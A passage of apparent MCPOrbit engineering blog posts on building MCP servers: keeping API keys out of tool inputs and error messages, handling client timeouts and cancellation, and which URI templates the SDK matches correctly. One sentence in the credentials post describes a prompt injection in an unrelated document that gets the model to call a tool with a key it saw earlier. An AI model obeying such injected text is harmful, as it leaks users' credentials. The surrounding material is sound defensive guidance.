fill that field, the key has to be somewhere the model can read: a system prompt, an earlier message, a file it opened. From there it is in the context window, in the client transcript, and in any request logged along the way. A prompt injection in some unrelated document can also ask the model to call your tool with a key it saw earlier, and the model has no way to know that is wrong. The fix is a startup assertion. A credential-shaped input is a design bug, so fail loudly at boot rather than quietly at request time. ```typescript // server.ts - an MCP server that calls a keyed HTTP API over stdio. // The key lives in this process. It is never a tool argument and never // reaches a log line. import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { z } from "zod"; import { config, redact } from "./config.ts"; const CREDENTIAL_FIELD = /^(api[-_]?key|apikey|token|secret|password|passwd|authorization|auth|bearer|credential|credentials)$/i; // Fails the build, not the request: a tool that asks the model for a // credential is a design bug, so refuse to start. function assertNoCredentialFields(name: string, shape: Record) { const offenders = Object.keys(shape).filter((key) => CREDENTIAL_FIELD.test(key)); if (offenders.length > 0) { throw new Error( `Tool "${name}" declares credential inputs: ${offenders.join(", ")}. ` + `Read credentials from the environment instead.`, ); } } async function api(path: string): Promise { const res = await fetch(`${config.API_BASE_URL}${path}`, { headers: { Authorization: `Bearer ${config.API_KEY}`, Accept: "application/json", }, }); if (!res.ok) { const body = await res.text(); // Upstreams echo credentials back more often than you would like. throw new Error(redact(`Upstream ${res.status} on ${path}: ${body.slice(0, 200)}`)); } return res.json(); } function makeServer() { const server = new McpServer( { name: "keyed-api", version: "1.0.0" }, { capabilities: { tools: {} } }, ); const listProjects = z.object({}); assertNoCredentialFields("list_projects", listProjects.shape); server.registerTool( "list_projects", { title: "List projects", description: "List every project the configured account can see.", inputSchema: listProjects, }, async () => { const projects = await api("/projects"); const rows = projects.map((p: any) => `${p.id} ${p.name}`); return { content: [{ type: "text", text: rows.join("\n") || "No projects." }] }; }, ); const getProject = z.object({ id: z.string() }); assertNoCredentialFields("get_project", getProject.shape); server.registerTool( "get_project", { title: "Get project", description: "Fetch one project by id.", inputSchema: getProject, }, async ({ id }) => { const project = await api(`/projects/${encodeURIComponent(id)}`); return { content: [{ type: "text", text: JSON.stringify(project, null, 2) }] }; }, ); return server; } serveStdio(() => makeServer()); ``` ## Keep the key out of your error messages The `redact` call in `api()` is the part people skip. An MCP tool error is not private. It goes back to the client as tool output, the model reads it, and it usually ends up in a transcript. Plenty of APIs put the offending credential straight into a 401 or 404 body, so a raw pass-through hands the key to everything downstream. One string replace closes that path, and the test below proves it does. ## Prove it with a test that runs offline This test starts a fake keyed API on a loopback port, runs the real server against it, and asserts the four behaviors. The fake API deliberately echoes the key in its error bodies, because that is the case redaction exists for. ```typescript // test-client.ts - stands up a fake keyed API, runs the server against it, // and asserts the four things that matter. No account anywhere. import { createServer } from "node:http"; import { spawn } from "node:child_process"; import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; const API_KEY = "sk_live_9f2b7c41aa8e4d63"; const serverPath = new URL("./server.ts", import.meta.url).pathname; function assert(cond: unknown, msg: string) { if (!cond) throw new Error("ASSERT FAILED: " + msg); console.log(" ok - " + msg); } // A stand-in for the API you are wrapping. It requires the key, and on // failure it echoes the key back, which is what real APIs do often enough // to matter. const upstream = createServer((req, res) => { const auth = req.headers.authorization ?? ""; if (auth !== `Bearer ${API_KEY}`) { res.writeHead(401, { "content-type": "application/json" }); res.end(JSON.stringify({ error: `bad credentials: ${auth}` })); return; } if (req.url === "/projects") { res.writeHead(200, { "content-type": "application/json" }); res.end(JSON.stringify([{ id: "p_1", name: "orbit" }, { id: "p_2", name: "atlas" }])); return; } res.writeHead(404, { "content-type": "application/json" }); res.end(JSON.stringify({ error: `no such path ${req.url}, key ${API_KEY}` })); }); await new Promise((r) => upstream.listen(0, "127.0.0.1", r)); const port = (upstream.address() as any).port; const API_BASE_URL = `http://127.0.0.1:${port}`; const transport = new StdioClientTransport({ command: "npx", args: ["tsx", serverPath], env: { ...process.env, API_BASE_URL, API_KEY }, }); const client = new Client({ name: "test", version: "1.0.0" }); await client.connect(transport); const { tools } = await client.listTools(); assert(tools.length === 2, "2 tools registered"); // 1. No tool asks the model for a credential. const credentialish = /^(api[-_]?key|apikey|token|secret|password|authorization|auth|bearer)$/i; const declared = tools.flatMap((t) => Object.keys((t.inputSchema as any).properties ?? {})); assert(!declared.some((k) => credentialish.test(k)), "no tool declares a credential input"); // 2. The key travels in the request, not in the conversation. const list = await client.callTool({ name: "list_projects", arguments: {} }); assert((list.content as any)[0].text.includes("p_1 orbit"), "list_projects reaches the keyed API"); // 3. An upstream failure that echoes the key comes back redacted. const missing = await client.callTool({ name: "get_project", arguments: { id: "nope" } }); const errorText = (missing.content as any)[0].text as string; assert(missing.isError === true, "a 404 upstream becomes a tool error"); assert(!errorText.includes(API_KEY), "the tool error does not leak the key"); assert(errorText.includes("[redacted]"), "the leaked key was replaced with [redacted]"); await client.close(); // 4. Starting with no key fails fast, loudly, and without printing a value. const bare = { ...process.env }; delete bare.API_KEY; const child = spawn("npx", ["tsx", serverPath], { env: { ...bare, API_BASE_URL } }); let stderr = ""; child.stderr.on("data", (chunk) => (stderr += chunk)); const code = await new Promise((r) => child.on("exit", (c) => r(c ?? -1))); assert(code === 1, "a missing key exits 1 instead of serving broken tools"); assert(stderr.includes("API_KEY"), "the startup error names the missing variable"); upstream.close(); console.log("\nALL CHECKS PASSED"); ``` ```bash npx tsx test-client.ts # ok - 2 tools registered # ok - no tool declares a credential input # ok - list_projects reaches the keyed API # ok - a 404 upstream becomes a tool error # ok - the tool error does not leak the key # ok - the leaked key was replaced with [redacted] # ok - a missing key exits 1 instead of serving broken tools # ok - the startup error names the missing variable # # ALL CHECKS PASSED ``` ## One remote server, many users, one key each A single process environment stops working the moment your server is remote and serves more than one customer. Each caller needs a different upstream key, and the obvious shortcut is the wrong one: taking the bearer token the client sent you and forwarding it to the upstream API. That is the confused deputy problem, and MCPOrbit has [a separate post on why it burns you](/blog/mcp-server-token-passthrough-confused-deputy). The v2 TypeScript SDK gives you the right seam. `createMcpHandler` takes a factory that runs per request and receives a context object with the original `Request` on it, so you can resolve the caller's identity and construct a server already bound to that tenant's credentials. ```typescript // http-server.ts - one remote server, many tenants, one upstream key each. // The caller's token identifies them. It is never sent upstream. import { createServer } from "node:http"; import { createMcpHandler, McpServer } from "@modelcontextprotocol/server"; import { z } from "zod"; // Stand-in for your user store. In production this is a database lookup and // the keys come from a secret manager, not a literal. const TENANTS: Record = { tok_alice: { tenant: "acme", upstreamKey: "sk_live_acme_2f81c0d4aa93" }, tok_bob: { tenant: "globex", upstreamKey: "sk_live_globex_77b1e0a3cd52" }, }; function makeServer(upstreamKey: string, tenant: string) { const server = new McpServer( { name: "keyed-api", version: "1.0.0" }, { capabilities: { tools: {} } }, ); server.registerTool( "whoami", { title: "Who am I", description: "Report which tenant this connection is bound to.", inputSchema: z.object({}), }, async () => ({ content: [ { type: "text", // Uses the key, never returns it. text: `tenant=${tenant} keyFingerprint=${upstreamKey.slice(-4)}`, }, ], }), ); return server; } // The factory runs per request. ctx.requestInfo is the original Request, so // this is where a connection gets bound to one tenant's credentials. const handler = createMcpHandler((ctx) => { const header = ctx.requestInfo?.headers.get("authorization") ?? ""; const principal = TENANTS[header.replace(/^Bearer /, "")]; if (!principal) throw new Error("unauthorized"); return makeServer(principal.upstreamKey, principal.tenant); }); createServer(async (req, res) => { const chunks: Buffer[] = []; for await (const chunk of req) chunks.push(chunk as Buffer); const headers = new Headers(); for (const [key, value] of Object.entries(req.headers)) { if (typeof value === "string") headers.set(key, value); } const response = await handler.fetch( new Request(`http://localhost${req.url}`, { method: req.method, headers, body: chunks.length ? Buffer.concat(chunks) : undefined, // @ts-expect-error duplex is required by Node for a streamed body duplex: "half", }), ); res.writeHead(response.status, Object.fromEntries(response.headers)); res.end(Buffer.from(await response.arrayBuffer())); }).listen(3000, () => process.stderr.write("listening on http://localhost:3000\n")); ``` Two clients hitting that endpoint with different tokens get two servers, each closed over one key. Alice gets `tenant=acme`, Bob gets `tenant=globex`, an unknown token never gets a session, and no key appears in any tool result. Note the fingerprint trick in `whoami`: when you need to show which credential is in play, show the last four characters, not the credential. > **The SDK will not authenticate for you** > > The v2 type docs are explicit that the `authInfo` passed to a handler is "strictly pass-through: the handler never populates this from request headers and performs no token verification of its own." Verifying the caller's token is your job, in front of the factory. ## A checklist before you ship - Every secret is read from `process.env` in one module, validated, and the process exits non-zero when it is missing. - No tool input schema has a credential-shaped field, and a startup assertion enforces that. - Every error string that can reach a tool result passes through a redactor. - Diagnostics go to stderr, never stdout, on a stdio server. - The `.env` file and the client config file holding the key are both in `.gitignore`. - On a remote server, the caller's token is verified by you and is never forwarded to the upstream API. - Anywhere you have to display a credential, show the last four characters only. ## Frequently asked questions ## Frequently asked questions ### Where do I put the API key for a local MCP server? In the `env` block of the client's MCP config file, for example `claude_desktop_config.json`. The client passes that object to your process when it spawns it, and your server reads it from `process.env`. The key never travels over the MCP connection. ### Can an MCP tool take an API key as a parameter? It can, and it should not. For the model to fill that argument the key must be readable in the conversation, which puts it in the context window, the client transcript, and any request logs. Read credentials from the server's environment instead. ### Should I forward the client's OAuth token to the upstream API? No. That is the confused deputy problem: a token issued for your server gets replayed against a service that never agreed to trust it. Verify the caller's token yourself, map it to an identity, and use the credential your server holds for that identity. ### How do I stop an API key from leaking into MCP tool errors? Run every outgoing error string through a redactor that replaces the secret with a placeholder. Upstream APIs frequently echo the credential back in 401 and 404 bodies, and a tool error is returned to the client and read by the model. ### How do I use different API keys for different users on a remote MCP server? Build the server inside the `createMcpHandler` factory. It runs per request and receives the original `Request`, so you can verify the caller, look up that tenant's key, and return an `McpServer` closed over it. ### Why does my stdio MCP server disconnect when I add logging? Because stdout is the protocol channel. A `console.log` writes a non-JSON line into the message stream and the client drops the connection. Write diagnostics to `process.stderr`. The whole example runs offline against the fake API in `test-client.ts`, so you can copy the four files, watch the assertions pass, then point `API_BASE_URL` at the service you actually wrap. When you want to check the result by hand, MCPOrbit connects to your server over stdio or HTTP and lists every tool with its live JSON schema, and its request and response log shows the full payload of each call, so you can confirm that no credential-shaped field ever reached a tool argument and that no key came back in an error. [Download MCPOrbit for macOS](/api/download) --- # How to handle timeouts in an MCP server URL: https://mcporbit.com/blog/handle-timeouts-in-an-mcp-server Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Field notes Tags: MCP, Timeouts, Cancellation, Engineering, Reliability MCP timeouts belong to the client, not your server. Here is what the SDK does when a call times out, and why your handler keeps running after it. In the Model Context Protocol (MCP), the timeout belongs to the caller, not to your server. The client decides how long it will wait, gives up on its own, and sends a cancellation. Your tool handler is not stopped for you. Unless you read the abort signal, it keeps running to completion long after nobody is listening. That gap is where the real bug lives. A request that times out looks like a clean failure from the client side. On the server side the work carries on, holding a database connection or an upstream request that no longer has a destination. Under load you are not timing out one call, you are accumulating orphaned work. - Timeouts are enforced by whoever sent the request. The MCP spec puts the duty on the sender, so for a tool call that is the client. - The default in `@modelcontextprotocol/client` 2.0.0 is `DEFAULT_REQUEST_TIMEOUT_MSEC = 60000`, one minute per request. - On timeout the SDK client automatically sends `notifications/cancelled`. You do not have to wire that up. - A handler that ignores `ctx.mcpReq.signal` runs to the end. Measured: the client gave up at 1005ms and the server still finished all 3000ms of work. - On stdio, reading the signal works. The same handler stopped 1004ms into a 3000ms job. - On Streamable HTTP through `createMcpHandler`, the signal did not fire early at all. It fired about 1ms after the work had already finished. - `resetTimeoutOnProgress` defaults to `false`. Sending progress notifications does not extend the deadline unless the caller opts in. ## Who enforces the timeout in MCP, the client or the server? The client. The 2026-07-28 specification puts the duty on whoever sent the request: implementations SHOULD establish timeouts for all sent requests, to prevent hung connections and resource exhaustion. When no response arrives in time, the sender SHOULD cancel the request and stop waiting. For a `tools/call` the sender is the client, so the client owns the clock. Your server is never told what that deadline is. There is no field in the request carrying the caller's timeout, and no way to ask. A tool handler cannot know whether it has one second or one minute. This is the single most useful thing to understand about MCP timeouts, and it is why server-side defensive work matters. The default matters because almost nobody overrides it. In `@modelcontextprotocol/client` 2.0.0, `DEFAULT_REQUEST_TIMEOUT_MSEC` is `60000`. Every request gets one minute unless the caller passes a `timeout` in the per-request options. > **Version note** > > Everything here was run on 2026-08-28 against `@modelcontextprotocol/server` 2.0.0, `@modelcontextprotocol/client` 2.0.0, `@modelcontextprotocol/node` 2.0.0, `zod` 4.4.3 and Node v25.8.1. The timeout options are per-request, so they are stable across transports even though the cancellation behavior is not. ## What happens on the wire when an MCP request times out? The client raises an error locally and tells the server to stop. Both halves are automatic. Here is a real run: a tool asked to work for 3000ms, called with a 1000ms timeout. ```text >>> {"method":"tools/call","params":{"name":"slow_naive","arguments":{"ms":3000}},"jsonrpc":"2.0","id":1} [server t+ 16ms] slow_naive: starting 3000ms of work >>> {"jsonrpc":"2.0","method":"notifications/cancelled","params":{"requestId":1,"reason":"SdkError: Request timed out"}} THREW after 1005ms: code=REQUEST_TIMEOUT isTimeout=true message="Request timed out" [server t+ 3018ms] slow_naive: FINISHED all 3000ms of work ``` Three things to read out of that. The error is an `SdkError` whose `code` is `SdkErrorCode.RequestTimeout`, and that code is the string `'REQUEST_TIMEOUT'`, not the numeric JSON-RPC code you may be expecting from older SDKs. The client sent `notifications/cancelled` by itself, with a `reason` naming the timeout. And the server logged `FINISHED all 3000ms of work` two seconds after the client had already given up. The spec splits cancellation by transport, which is worth knowing before you debug this. On stdio there is no per-request stream to close, so the client MUST send `notifications/cancelled` naming the request id. On Streamable HTTP, closing the response stream is itself the cancellation signal, and the spec says no `notifications/cancelled` message is required or expected. In practice the SDK client sends the notification on both transports. One rule changed in the 2026-07-28 revision and catches people migrating. Servers MUST NOT send `notifications/cancelled` for any purpose other than tearing down a `subscriptions/listen` stream. If you have a server emitting cancellations for its own reasons, that is now non-conformant. ## Why does an MCP server keep working after the client gives up? Because nothing stops it. The cancellation arrives, the SDK aborts the request's signal, and a handler that never reads that signal is unaffected. `await sleep(3000)` does not care that anyone cancelled. This is the default outcome, not an edge case. The obvious way to write a tool handler produces it. Here is the server used for every measurement in this post. ```javascript import { McpServer } from '@modelcontextprotocol/server' import { serveStdio } from '@modelcontextprotocol/server/stdio' import { z } from 'zod' const log = (...args) => console.error('[server]', ...args) const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) function build() { const server = new McpServer({ name: 'timeout-lab', version: '1.0.0' }) // Ignores cancellation. This is the shape of most handlers people write. server.registerTool( 'slow_naive', { description: 'Sleeps, ignoring cancellation', inputSchema: z.object({ ms: z.number() }) }, async ({ ms }) => { log(`slow_naive: starting ${ms}ms of work`) await sleep(ms) log(`slow_naive: FINISHED all ${ms}ms of work`) return { content: [{ type: 'text', text: `done after ${ms}ms` }] } } ) // Honors the abort signal on ctx.mcpReq. server.registerTool( 'slow_cancellable', { description: 'Sleeps, aborts on cancellation', inputSchema: z.object({ ms: z.number() }) }, async ({ ms }, ctx) => { const { signal } = ctx.mcpReq log(`slow_cancellable: starting ${ms}ms, signal.aborted=${signal.aborted}`) await new Promise((resolve, reject) => { const timer = setTimeout(resolve, ms) signal.addEventListener('abort', () => { clearTimeout(timer) log('slow_cancellable: ABORTED, work stopped early') reject(new Error('cancelled')) }) }) log(`slow_cancellable: FINISHED all ${ms}ms of work`) return { content: [{ type: 'text', text: `done after ${ms}ms` }] } } ) return server } serveStdio(build) ``` > **Gotcha** > > `serveStdio` takes a factory, not a server instance. Passing the server directly gives you a live process that answers `initialize` with `Internal server error` and nothing more specific. Pass a function that returns a fresh `McpServer`. And the client that drives it. Save both files, then run `node client.mjs`. ```javascript import { Client, SdkError, SdkErrorCode, DEFAULT_REQUEST_TIMEOUT_MSEC } from '@modelcontextprotocol/client' import { StdioClientTransport } from '@modelcontextprotocol/client/stdio' console.log('DEFAULT_REQUEST_TIMEOUT_MSEC =', DEFAULT_REQUEST_TIMEOUT_MSEC) const transport = new StdioClientTransport({ command: process.execPath, args: ['server.mjs'], stderr: 'inherit', }) // Log every frame the client puts on the wire. const realSend = transport.send.bind(transport) transport.send = async (msg, opts) => { console.log(' >>> WIRE', JSON.stringify(msg)) return realSend(msg, opts) } const client = new Client({ name: 'timeout-lab-client', version: '1.0.0' }) await client.connect(transport) const t0 = Date.now() try { await client.callTool({ name: 'slow_naive', arguments: { ms: 3000 } }, { timeout: 1000 }) } catch (err) { console.log( `THREW after ${Date.now() - t0}ms:`, `code=${err.code}`, `isTimeout=${err.code === SdkErrorCode.RequestTimeout}`, `message=${JSON.stringify(err.message)}` ) } // Give the server time to prove it is still working. await new Promise((r) => setTimeout(r, 3500)) await client.close() process.exit(0) ``` ```bash npm install @modelcontextprotocol/server@2.0.0 @modelcontextprotocol/client@2.0.0 zod@4.4.3 node client.mjs ``` ## How do you cancel an MCP tool call that is already running? Read `ctx.mcpReq.signal`, the second argument to your tool callback. It is a standard `AbortSignal`, aborted when the caller cancels. Wire it into whatever you are waiting on: `fetch` takes a `signal` directly, and so do most database drivers. The `slow_cancellable` tool above does exactly that, and on stdio it works. Same 3000ms of work, same 1000ms client timeout. ```text [server t+ 4524ms] slow_cancellable: starting 3000ms, signal.aborted=false >>> {"jsonrpc":"2.0","method":"notifications/cancelled","params":{"requestId":2,"reason":"SdkError: Request timed out"}} THREW after 1004ms: code=REQUEST_TIMEOUT message="Request timed out" [server t+ 5528ms] slow_cancellable: ABORTED, work stopped early ``` The handler stopped 1004ms after it started, a third of the way through its job. No `FINISHED` line. The work was abandoned and the resources released, which is what the spec asks of a server receiving a cancellation: stop processing, free associated resources, and do not send a response for the cancelled request. ## Does cancellation reach the handler over Streamable HTTP? Not early, in the setup tested here. This is the result worth planning around, because it is the opposite of what the stdio run suggests. Serving the same two tools through `createMcpHandler` and `toNodeHandler` on `node:http`, the abort signal fired about 1ms after the handler had already finished all 3000ms of work. ```text [server t+ 36ms] handler start, aborted=false THREW after 1005ms: code=REQUEST_TIMEOUT message="Request timed out" [server t+ 3041ms] handler finished all 3000ms [server t+ 3044ms] *** SIGNAL FIRED *** ``` That was checked three ways and behaved the same each time: with `responseMode: 'auto'`, with `responseMode: 'sse'`, and with an explicit caller-side `AbortController` instead of a timeout. The signal consistently fired at teardown, never during the call. The reason follows from the stateless model in the 2026-07-28 revision. The cancellation lands as a separate HTTP POST, and a per-request handler has no route from that POST back to the instance holding the in-flight call. So do not rely on `ctx.mcpReq.signal` as your only stop condition on HTTP. Give the work its own deadline and combine the two signals. `AbortSignal.any` makes that one line, and it degrades correctly: on stdio the caller's cancellation wins, on HTTP your own budget does. ```javascript server.registerTool( 'bounded', { description: 'Work with its own deadline', inputSchema: z.object({}) }, async (_args, ctx) => { // Abort when the caller cancels OR when our own budget runs out, // whichever happens first. const budget = AbortSignal.timeout(10_000) const signal = AbortSignal.any([ctx.mcpReq.signal, budget]) const res = await fetch('https://upstream.example/report', { signal }) return { content: [{ type: 'text', text: await res.text() }] } } ) ``` > Implementations SHOULD always enforce a maximum timeout, regardless of progress notifications, to limit the impact of a misbehaving client or server. > — MCP specification, revision 2026-07-28, Cancellation ## How do you stop a long MCP tool call from timing out? Send progress notifications and have the caller opt into resetting the clock. The opt-in is the part people miss. `resetTimeoutOnProgress` defaults to `false`, so a server that dutifully reports progress into a default client still times out on schedule. Add a tool that reports progress. The progress token arrives at `ctx.mcpReq._meta.progressToken` and is only present if the caller asked for progress, so check it before sending. ```javascript server.registerTool( 'slow_with_progress', { description: 'Sleeps, reporting progress', inputSchema: z.object({ ms: z.number(), steps: z.number() }), }, async ({ ms, steps }, ctx) => { const token = ctx.mcpReq._meta?.progressToken for (let i = 1; i <= steps; i++) { await sleep(ms / steps) if (token !== undefined) { await ctx.mcpReq.notify({ method: 'notifications/progress', params: { progressToken: token, progress: i, total: steps }, }) } } return { content: [{ type: 'text', text: `done after ${ms}ms` }] } } ) ``` Then compare the three caller configurations. The measured results are in the comments. ```javascript // Default: progress does NOT extend the deadline. Times out at ~1001ms. await client.callTool( { name: 'slow_with_progress', arguments: { ms: 3000, steps: 6 } }, { timeout: 1000, onprogress: (p) => console.log('progress', p) } ) // resetTimeoutOnProgress: each notification restarts the 1000ms clock. // Resolves after ~3014ms. await client.callTool( { name: 'slow_with_progress', arguments: { ms: 3000, steps: 6 } }, { timeout: 1000, resetTimeoutOnProgress: true, onprogress: (p) => console.log('progress', p) } ) // maxTotalTimeout is the ceiling progress cannot lift. // Throws at ~2009ms with "Maximum total timeout exceeded". await client.callTool( { name: 'slow_with_progress', arguments: { ms: 3000, steps: 6 } }, { timeout: 1000, resetTimeoutOnProgress: true, maxTotalTimeout: 2000 } ) ``` Read the middle case carefully. A 1000ms timeout carried a 3000ms job to completion because every progress notification restarted the clock. That is the mechanism, and it is also the hazard: with `resetTimeoutOnProgress` alone, a server that keeps emitting progress can hold a client forever. `maxTotalTimeout` is the ceiling that cannot be lifted. It threw at 2009ms with the message `Maximum total timeout exceeded`, under the same `REQUEST_TIMEOUT` code. For work that genuinely outlives a request, progress is the wrong tool. Return immediately with a job id and let the caller poll, or use the Tasks extension introduced in the 2026-07-28 revision. Stretching a request timeout to cover a ten-minute job means holding a connection open for ten minutes, and any proxy in the path gets a vote on whether that survives. ## Frequently asked questions ## Frequently asked questions ### What is the default MCP request timeout? 60 seconds. `DEFAULT_REQUEST_TIMEOUT_MSEC` is `60000` in `@modelcontextprotocol/client` 2.0.0, applied per request unless the caller passes its own `timeout` in the request options. ### Can an MCP server set its own timeout for a tool call? Not for the caller's clock. The spec assigns the timeout to the sender of the request, and the server is never told what it is. A server can enforce its own deadline internally, which is the recommended pattern: combine `ctx.mcpReq.signal` with an `AbortSignal.timeout` of your own. ### Why does my MCP tool keep running after the client times out? Because your handler is not reading the abort signal. The client's cancellation aborts `ctx.mcpReq.signal`, but code like `await sleep(3000)` or an un-signalled `fetch` ignores it and runs to completion. Pass the signal into whatever you await. ### How do I cancel an in-flight MCP request? Pass an `AbortSignal` in the request options, or let the timeout fire. Either way the SDK client sends a `notifications/cancelled` naming the request id. On Streamable HTTP the spec treats closing the response stream as the cancellation signal instead. ### Does sending progress notifications prevent an MCP timeout? Only if the caller sets `resetTimeoutOnProgress: true`, which is not the default. With the default `false`, progress notifications arrive and the request still times out on the original schedule. ### What error does an MCP client throw on timeout? An `SdkError` with `code` equal to `SdkErrorCode.RequestTimeout`, which is the string `'REQUEST_TIMEOUT'`. The message is `Request timed out`, or `Maximum total timeout exceeded` when `maxTotalTimeout` is what fired. Copy the two files above into an empty directory, install the three pinned packages, and run `node client.mjs`. The whole lab is about 80 lines and every number in this post came out of it. To watch the same behaviour against your own server, [set it up in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call the slow tool by hand. You see the timeout land on the client side while the server keeps working. [Download MCPOrbit for macOS](/api/download) --- # Which URI Templates Work in MCP Resources URL: https://mcporbit.com/blog/mcp-resource-uri-templates Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Field notes Tags: MCP, Resources, Engineering, SDK Eight of ten URI template patterns round-trip in the MCP SDK. Two do not: one silently corrupts your variable, the other never matches at all. A Model Context Protocol (MCP) resource template is an RFC 6570 URI pattern like `note://{id}`. The SDK can expand all ten patterns we tested, but only eight of them match a real read back to your callback. `{#frag}` hands your code a corrupted value, and `{/segs*}` never matches at all. The reason is an asymmetry. A template is used in two directions. `expand()` turns variables into a URI, and `match()` turns an incoming URI back into variables. Your server only ever needs the second one. Registration does not check that the two agree, so a broken template registers cleanly, shows up in `resources/templates/list`, and then fails every read. - Eight of ten patterns round-trip correctly on `@modelcontextprotocol/sdk` 1.30.0: `{id}`, `{owner}/{name}`, `{+path}`, `{.ext}`, `{/seg}`, `{?q}`, `{?a,b}` and `{&page}`. - `{/segs*}`, the exploded path form, expands to `api://v1/a/b/c` and then matches nothing. A read against that URI fails with JSON-RPC error -32602. - `{#frag}` matches, but the leading `#` is included in the value. Your callback receives `"#intro"` when the client asked for `intro`. - Both defects are in the shared implementation. `@modelcontextprotocol/server` 2.0.0 behaves identically, so upgrading does not fix them. - For multi-segment paths use `{+path}` and split on `/` yourself. It routes correctly and needs no other change. ## How does an MCP resource template route a read? When a client calls `resources/read` with a concrete URI, the server walks its registered templates and asks each one whether the URI matches. The first template that matches wins. The variables it parsed out are passed to your read callback as the second argument. That means the match direction is the one that decides whether your resource works. Expansion is only used to build example URIs and to fill a `list` callback. A template that expands perfectly and matches nothing is a resource your clients can see but never read. ## Which URI template patterns actually work? Here is the check. It builds each template, expands it with known values, then matches the result back and compares. Save it as `check-templates.mjs`. ```json { "name": "mcp-template-check", "private": true, "type": "module", "dependencies": { "@modelcontextprotocol/sdk": "1.30.0" } } ``` ```javascript import { UriTemplate } from "@modelcontextprotocol/sdk/shared/uriTemplate.js"; // Every pattern a server might register, with a known set of values. // expand() builds the URI. match() is the direction the server needs to // route an incoming resources/read back to your callback. const patterns = [ ["{id}", "note://{id}", { id: "glossary" }], ["{owner}/{name}", "repo://{owner}/{name}", { owner: "acme", name: "web" }], ["{+path}", "file://{+path}", { path: "a/b/c.txt" }], ["{.ext}", "file://name{.ext}", { ext: "json" }], ["{/seg}", "api://v1{/seg}", { seg: "users" }], ["{?q}", "search://x{?q}", { q: "mcp" }], ["{?a,b}", "search://x{?a,b}", { a: "1", b: "2" }], ["{&page}", "search://x?q=1{&page}", { page: "2" }], ["{#frag}", "doc://x{#frag}", { frag: "intro" }], ["{/segs*}", "api://v1{/segs*}", { segs: ["a", "b", "c"] }], ]; for (const [label, template, vars] of patterns) { const t = new UriTemplate(template); const uri = t.expand(vars); const back = t.match(uri); let verdict; if (back === null) { verdict = "BROKEN template does not match its own output"; } else { const roundTripped = Object.keys(vars).every( (k) => JSON.stringify(back[k]) === JSON.stringify(vars[k]) ); verdict = roundTripped ? "ok" : `LOSSY got ${JSON.stringify(back)}`; } console.log(label.padEnd(16), uri.padEnd(22), verdict); } ``` Run it with `npm install && node check-templates.mjs`. This is the real output on Node 25 and SDK 1.30.0. ```text {id} note://glossary ok {owner}/{name} repo://acme/web ok {+path} file://a/b/c.txt ok {.ext} file://name.json ok {/seg} api://v1/users ok {?q} search://x?q=mcp ok {?a,b} search://x?a=1&b=2 ok {&page} search://x?q=1&page=2 ok {#frag} doc://x#intro LOSSY got {"frag":"#intro"} {/segs*} api://v1/a/b/c BROKEN template does not match its own output ``` Single variables, multiple variables, reserved expansion, label, path, query and ampersand all behave. The two failures are the last two rows. ## Why does an exploded path template return resource not found? `{/segs*}` is the RFC 6570 form for a repeated path segment. It is the obvious choice for a file tree, and it is the one that fails. The class-level check above already shows `match()` returning null. A real server confirms what that costs you. ```javascript import { McpServer, ResourceTemplate } from "@modelcontextprotocol/sdk/server/mcp.js"; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js"; const server = new McpServer({ name: "template-probe", version: "1.0.0" }); // Register one resource per pattern. Each read callback just echoes the // variables it was handed, so we can see exactly what the router parsed. const echo = (name) => async (uri, vars) => ({ contents: [ { uri: uri.href, mimeType: "text/plain", text: `${name} -> ${JSON.stringify(vars)}` }, ], }); for (const [name, template] of [ ["note", "note://{id}"], ["repo", "repo://{owner}/{name}"], ["tree", "api://v1{/segs*}"], ["doc", "doc://x{#frag}"], ]) { server.registerResource( name, new ResourceTemplate(template, { list: undefined }), { title: name, mimeType: "text/plain" }, echo(name) ); } const client = new Client({ name: "probe", version: "1.0.0" }); const [clientSide, serverSide] = InMemoryTransport.createLinkedPair(); await Promise.all([client.connect(clientSide), server.connect(serverSide)]); const listed = await client.listResourceTemplates(); console.log("advertised by resources/templates/list:"); for (const t of listed.resourceTemplates) console.log(" ", t.uriTemplate); console.log("\nresources/read:"); for (const uri of ["note://glossary", "repo://acme/web", "api://v1/a/b/c", "doc://x#intro"]) { try { const result = await client.readResource({ uri }); console.log(" ok ", uri.padEnd(18), result.contents[0].text); } catch (error) { console.log(" error ", uri.padEnd(18), error.message); } } await client.close(); ``` ```text advertised by resources/templates/list: note://{id} repo://{owner}/{name} api://v1{/segs*} doc://x{#frag} resources/read: ok note://glossary note -> {"id":"glossary"} ok repo://acme/web repo -> {"owner":"acme","name":"web"} error api://v1/a/b/c MCP error -32602: MCP error -32602: Resource api://v1/a/b/c not found ok doc://x#intro doc -> {"frag":"#intro"} ``` > **The failure mode that costs you time** > > The broken template is still advertised. `resources/templates/list` returns `api://v1{/segs*}` exactly as registered, so a client discovers it, builds a correct URI from it, and gets -32602 back. Nothing warns you at registration time. ## Why does a fragment template hand you the wrong value? `{#frag}` is worse than the broken case, because it does not fail. The read succeeds and your callback runs. It just receives `"#intro"` instead of `"intro"`. The `#` separator is part of the expansion, and the match pattern captures it along with the value. If you use that variable as a database key or a filename, you get a lookup miss with no error to trace it to. Strip the leading `#` yourself, or keep fragments out of your URI scheme. ## What should you use for multi-segment paths instead? Use reserved expansion, `{+path}`. It allows `/` inside the captured value, so one variable swallows the whole tail. You split it yourself, which is one line. ```javascript server.registerResource( "tree", new ResourceTemplate("api://v1/{+segs}", { list: undefined }), { title: "tree", mimeType: "text/plain" }, async (uri, vars) => { const segments = String(vars.segs).split("/"); return { contents: [ { uri: uri.href, mimeType: "text/plain", text: JSON.stringify(segments) }, ], }; } ); ``` ```text ok api://v1/a/b/c ["a","b","c"] ok api://v1/a ["a"] ``` Both the deep path and the single segment route to the callback. That is the behavior people expect from `{/segs*}`, and it is available today without waiting on an SDK fix. One caveat worth knowing. `{+path}` is greedy, so put it last in the template. A pattern like `api://{+a}/{b}` gives the first variable everything it can take. ## Does upgrading to the v2 server package fix this? No. `@modelcontextprotocol/server` 2.0.0 exports its own `UriTemplate`, and it returns the same results. `{/segs*}` matches null and `{#frag}` returns 